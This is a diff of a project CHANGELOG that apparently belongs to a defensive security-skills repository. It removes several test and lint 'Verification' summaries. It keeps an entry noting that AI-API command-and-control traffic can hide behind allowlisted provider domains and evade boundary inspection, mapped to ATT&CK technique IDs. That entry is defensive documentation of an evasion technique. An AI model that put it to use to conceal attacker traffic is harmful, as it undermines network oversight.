- AGENTS.md skill format spec + Quick Skill Reference table updated for the 5 new skills.
|
|
3106
2992
|
|
|
3107
|
-
### Verification
|
|
3108
|
-
- 21/21 skills passing lint
|
|
3109
|
-
- 132/132 tests passing
|
|
3110
|
-
- 7/7 predeploy gates passing
|
|
3111
|
-
|
|
3112
2993
|
## 0.3.0 — 2026-05-11
|
|
3113
2994
|
|
|
3114
2995
|
Pre-release: every CI gate green, full skill corpus compliant with the AGENTS.md hard rules.
|
|
@@ -3131,11 +3012,6 @@ Pre-release: every CI gate green, full skill corpus compliant with the AGENTS.md
|
|
|
3131
3012
|
### Data
|
|
3132
3013
|
- `data/framework-control-gaps.json` — added `NIST-800-53-SC-7` (Boundary Protection) entry. Documents how AI-API C2 routes through allowlisted provider domains (api.openai.com, api.anthropic.com, generativelanguage.googleapis.com) and defeats boundary inspection. Maps to `AML.T0096`, `AML.T0017`, `T1071`, `T1102`, `T1568`. Closes the orphaned-reference gap that the lint gate caught in `ai-c2-detection`.
|
|
3133
3014
|
|
|
3134
|
-
### Verification
|
|
3135
|
-
- 110/110 tests passing (`npm test`)
|
|
3136
|
-
- 16/16 skills passing lint (`npm run lint`)
|
|
3137
|
-
- All 6 predeploy gates green (`npm run predeploy`)
|
|
3138
|
-
|
|
3139
3015
|
## 0.2.0 — 2026-05-11
|
|
3140
3016
|
|
|
3141
3017
|
### Skills (15th added)
|